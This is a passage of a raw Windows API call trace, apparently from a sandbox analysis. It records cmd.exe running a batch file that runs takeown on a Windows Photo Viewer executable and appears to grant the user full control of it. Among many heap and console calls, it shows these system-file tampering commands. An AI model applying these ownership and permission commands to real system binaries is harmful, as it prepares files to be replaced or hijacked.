(in: lpConsoleTitle=0x16eb18, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0137.586] InitializeProcThreadAttributeList (in: lpAttributeList=0x16e9a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16ea68 | out: lpAttributeList=0x16e9a0, lpSize=0x16ea68) returned 1 [0137.586] UpdateProcThreadAttribute (in: lpAttributeList=0x16e9a0, dwFlags=0x0, Attribute=0x60001, lpValue=0x16ea60, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16e9a0, lpPreviousValue=0x0) returned 1 [0137.586] GetStartupInfoW (in: lpStartupInfo=0x16e95c | out: lpStartupInfo=0x16e95c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0137.587] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0137.587] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16e9fc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16ea48 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"", lpProcessInformation=0x16ea48*(hProcess=0x78, hThread=0x74, dwProcessId=0xcd0, dwThreadId=0xcac)) returned 1 [0137.599] CloseHandle (hObject=0x74) returned 1 [0137.599] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0137.599] GetProcessHeap () returned 0x310000 [0137.599] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x328198 | out: hHeap=0x310000) returned 1 [0137.599] GetEnvironmentStringsW () returned 0x325fb0* [0137.599] GetProcessHeap () returned 0x310000 [0137.599] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb5c) returned 0x328198 [0137.599] FreeEnvironmentStringsW (penv=0x325fb0) returned 1 [0137.599] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0138.008] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x16e93c | out: lpExitCode=0x16e93c*=0x0) returned 1 [0138.008] CloseHandle (hObject=0x78) returned 1 [0138.008] _vsnwprintf (in: _Buffer=0x16ea84, _BufferCount=0x13, _Format="%08X", _ArgList=0x16e948 | out: _Buffer="00000000") returned 8 [0138.008] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0138.009] GetProcessHeap () returned 0x310000 [0138.009] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x328198 | out: hHeap=0x310000) returned 1 [0138.009] GetEnvironmentStringsW () returned 0x325fb0* [0138.009] GetProcessHeap () returned 0x310000 [0138.009] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb5c) returned 0x328198 [0138.009] FreeEnvironmentStringsW (penv=0x325fb0) returned 1 [0138.009] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0138.009] GetProcessHeap () returned 0x310000 [0138.009] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x328198 | out: hHeap=0x310000) returned 1 [0138.009] GetEnvironmentStringsW () returned 0x325fb0* [0138.009] GetProcessHeap () returned 0x310000 [0138.009] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb5c) returned 0x328198 [0138.009] FreeEnvironmentStringsW (penv=0x325fb0) returned 1 [0138.009] GetProcessHeap () returned 0x310000 [0138.009] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x310db8 | out: hHeap=0x310000) returned 1 [0138.009] DeleteProcThreadAttributeList (in: lpAttributeList=0x16e9a0 | out: lpAttributeList=0x16e9a0) [0138.009] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.009] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0138.009] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.009] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0138.010] _get_osfhandle (_FileHandle=0) returned 0x3 [0138.010] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0138.010] SetConsoleInputExeNameW () returned 0x1 [0138.010] GetConsoleOutputCP () returned 0x1b5 [0138.010] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0138.010] SetThreadUILanguage (LangId=0x0) returned 0x409 [0138.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x16f1bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0138.011] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0138.011] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.011] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0138.011] GetProcessHeap () returned 0x310000 [0138.011] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324a78 | out: hHeap=0x310000) returned 1 [0138.011] GetProcessHeap () returned 0x310000 [0138.011] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324948 | out: hHeap=0x310000) returned 1 [0138.011] GetProcessHeap () returned 0x310000 [0138.011] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324820 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324d10 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324780 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324568 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3244e8 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3243b8 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324290 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324220 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324190 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x310ab8 | out: hHeap=0x310000) returned 1 [0138.012] GetProcessHeap () returned 0x310000 [0138.012] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x311250 | out: hHeap=0x310000) returned 1 [0138.012] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.012] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0138.012] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x16f1a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x16f1a0*=0xb3, lpOverlapped=0x0) returned 1 [0138.012] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0138.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0138.013] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.013] GetFileType (hFile=0x78) returned 0x1 [0138.013] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.013] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0138.013] GetProcessHeap () returned 0x310000 [0138.013] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400a) returned 0x334b28 [0138.014] GetProcessHeap () returned 0x310000 [0138.014] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x7c) returned 0x324190 [0138.014] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe", nBufferLength=0x208, lpBuffer=0x16e930, lpFilePart=0x16e928 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe", lpFilePart=0x16e928*="ImagingDevices.exe") returned 0x38 [0138.014] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x16e644 | out: lpFindFileData=0x16e644*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x311250 [0138.014] FindClose (in: hFindFile=0x311250 | out: hFindFile=0x311250) returned 1 [0138.014] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0138.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer", lpFindFileData=0x16e644 | out: lpFindFileData=0x16e644*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 0x311250 [0138.015] FindClose (in: hFindFile=0x311250 | out: hFindFile=0x311250) returned 1 [0138.015] _wcsnicmp (_String1="WINDOW~4", _String2="Windows Photo Viewer", _MaxCount=0x14) returned 11 [0138.015] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe", lpFindFileData=0x16e644 | out: lpFindFileData=0x16e644*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 0x311250 [0138.015] FindClose (in: hFindFile=0x311250 | out: hFindFile=0x311250) returned 1 [0138.015] GetProcessHeap () returned 0x310000 [0138.015] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x2e) returned 0x311250 [0138.015] GetProcessHeap () returned 0x310000 [0138.015] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x334b28 | out: hHeap=0x310000) returned 1 [0138.017] _tell (_FileHandle=3) returned 63 [0138.017] _close (_FileHandle=3) returned 0 [0138.017] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16ef74 | out: _Buffer="\r\n") returned 2 [0138.017] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.017] GetFileType (hFile=0x7) returned 0x2 [0138.017] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.017] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef34 | out: lpMode=0x16ef34) returned 1 [0138.017] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.017] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16ef60, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16ef60*=0x2) returned 1 [0138.019] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0138.019] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.019] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16ef70 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0138.019] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x16ef70 | out: _Buffer=">") returned 1 [0138.019] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.019] GetFileType (hFile=0x7) returned 0x2 [0138.019] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.019] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef38 | out: lpMode=0x16ef38) returned 1 [0138.020] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.020] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x16ef64, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x16ef64*=0x26) returned 1 [0138.020] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.020] GetFileType (hFile=0x7) returned 0x2 [0138.020] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.020] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1bc | out: lpMode=0x16f1bc) returned 1 [0138.021] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.021] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x310dc0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x16f1e8, lpReserved=0x0 | out: lpBuffer=0x310dc0*, lpNumberOfCharsWritten=0x16f1e8*=0x3) returned 1 [0138.021] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x16f1f4 | out: _Buffer=" FN=\"ImagingDevices.exe\" ") returned 25 [0138.021] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.021] GetFileType (hFile=0x7) returned 0x2 [0138.021] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.021] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b4 | out: lpMode=0x16f1b4) returned 1 [0138.021] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.022] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x19, lpNumberOfCharsWritten=0x16f1e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1e0*=0x19) returned 1 [0138.022] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f214 | out: _Buffer="\r\n") returned 2 [0138.022] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.022] GetFileType (hFile=0x7) returned 0x2 [0138.022] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.022] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1d4 | out: lpMode=0x16f1d4) returned 1 [0138.022] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.022] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16f200, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f200*=0x2) returned 1 [0138.024] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0138.024] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0138.024] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0138.024] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0138.024] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0138.024] _wcsicmp (_String1="set", _String2="CD") returned 16 [0138.024] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0138.024] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0138.024] _wcsicmp (_String1="set", _String2="REN") returned 1 [0138.024] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0138.024] _wcsicmp (_String1="set", _String2="SET") returned 0 [0138.024] GetConsoleTitleW (in: lpConsoleTitle=0x16ed84, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.024] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0138.025] SetEnvironmentVariableW (lpName="FN", lpValue="\"ImagingDevices.exe\"") returned 1 [0138.025] GetProcessHeap () returned 0x310000 [0138.025] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x328198 | out: hHeap=0x310000) returned 1 [0138.025] GetEnvironmentStringsW () returned 0x326b48* [0138.025] GetProcessHeap () returned 0x310000 [0138.025] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb8c) returned 0x3276e0 [0138.025] FreeEnvironmentStringsW (penv=0x326b48) returned 1 [0138.025] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.025] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0138.025] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.025] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0138.025] _get_osfhandle (_FileHandle=0) returned 0x3 [0138.025] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0138.026] SetConsoleInputExeNameW () returned 0x1 [0138.026] GetConsoleOutputCP () returned 0x1b5 [0138.026] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0138.026] SetThreadUILanguage (LangId=0x0) returned 0x409 [0138.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x16f1bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0138.027] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0138.027] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.027] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0138.027] GetProcessHeap () returned 0x310000 [0138.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324308 | out: hHeap=0x310000) returned 1 [0138.027] GetProcessHeap () returned 0x310000 [0138.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3242c0 | out: hHeap=0x310000) returned 1 [0138.027] GetProcessHeap () returned 0x310000 [0138.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324278 | out: hHeap=0x310000) returned 1 [0138.027] GetProcessHeap () returned 0x310000 [0138.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x310db8 | out: hHeap=0x310000) returned 1 [0138.027] GetProcessHeap () returned 0x310000 [0138.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324218 | out: hHeap=0x310000) returned 1 [0138.027] GetProcessHeap () returned 0x310000 [0138.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x311250 | out: hHeap=0x310000) returned 1 [0138.027] GetProcessHeap () returned 0x310000 [0138.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324190 | out: hHeap=0x310000) returned 1 [0138.027] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.027] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0138.027] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x16f1a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x16f1a0*=0xa3, lpOverlapped=0x0) returned 1 [0138.027] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0138.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0138.028] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.028] GetFileType (hFile=0x78) returned 0x1 [0138.028] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.028] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0138.028] GetProcessHeap () returned 0x310000 [0138.028] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400a) returned 0x334b28 [0138.028] GetProcessHeap () returned 0x310000 [0138.028] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x70) returned 0x311250 [0138.028] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x16e930, lpFilePart=0x16e928 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x16e928*="Bt3xnwko.bat") returned 0x32 [0138.028] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16e644 | out: lpFindFileData=0x16e644*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x324190 [0138.028] FindClose (in: hFindFile=0x324190 | out: hFindFile=0x324190) returned 1 [0138.028] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16e644 | out: lpFindFileData=0x16e644*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf29ace00, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xf29ace00, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x324190 [0138.029] FindClose (in: hFindFile=0x324190 | out: hFindFile=0x324190) returned 1 [0138.029] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0138.029] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16e644 | out: lpFindFileData=0x16e644*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x324190 [0138.029] FindClose (in: hFindFile=0x324190 | out: hFindFile=0x324190) returned 1 [0138.029] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x16e644 | out: lpFindFileData=0x16e644*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x324190 [0138.029] FindClose (in: hFindFile=0x324190 | out: hFindFile=0x324190) returned 1 [0138.029] GetProcessHeap () returned 0x310000 [0138.029] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x56) returned 0x324190 [0138.029] GetProcessHeap () returned 0x310000 [0138.029] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x334b28 | out: hHeap=0x310000) returned 1 [0138.031] _tell (_FileHandle=3) returned 78 [0138.031] _close (_FileHandle=3) returned 0 [0138.031] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16ef74 | out: _Buffer="\r\n") returned 2 [0138.031] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.031] GetFileType (hFile=0x7) returned 0x2 [0138.031] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.031] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef34 | out: lpMode=0x16ef34) returned 1 [0138.032] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.032] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16ef60, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16ef60*=0x2) returned 1 [0138.033] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0138.033] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.033] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16ef70 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0138.033] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x16ef70 | out: _Buffer=">") returned 1 [0138.033] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.033] GetFileType (hFile=0x7) returned 0x2 [0138.034] GetStdHandle 